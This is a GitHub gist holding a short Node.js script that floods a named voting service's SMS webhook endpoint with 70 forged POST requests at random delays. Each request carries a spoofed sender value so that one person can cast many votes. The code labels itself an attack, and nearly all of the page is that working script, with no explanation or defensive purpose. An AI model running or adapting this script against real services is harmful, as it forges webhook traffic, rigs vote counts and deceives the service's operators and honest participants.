Skip to content

Instantly share code, notes, and snippets.

@crtr0
Created October 9, 2012 18:34
Show Gist options
  • Save crtr0/3860577 to your computer and use it in GitHub Desktop.
Save crtr0/3860577 to your computer and use it in GitHub Desktop.
var request = require('request'),
querystring = require('querystring'),
Buffer = require('buffer').Buffer;
var numbers = ['+12068666338'];
var vote = process.argv[2];
var attack = function(i) {
var dataHash = {Body: vote, From: vote + "-" + i, To: numbers[0]},
body = querystring.stringify(dataHash),
headers = {'Content-Type': 'application/x-www-form-urlencoded'};
request.post({uri: 'http://votr.co/processSMS', headers: headers, body: body},
function (err, response, body) {
if (err) {
console.log("ERROR: ", err);
}
else {
console.log(body);
}
}
);
};
for (var i=1; i <= 70; i++) {
var sleep = Math.floor((Math.random()*1000*60)+1);
console.log("Attacking in ", sleep, " milliseconds");
setTimeout(attack, sleep, i);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment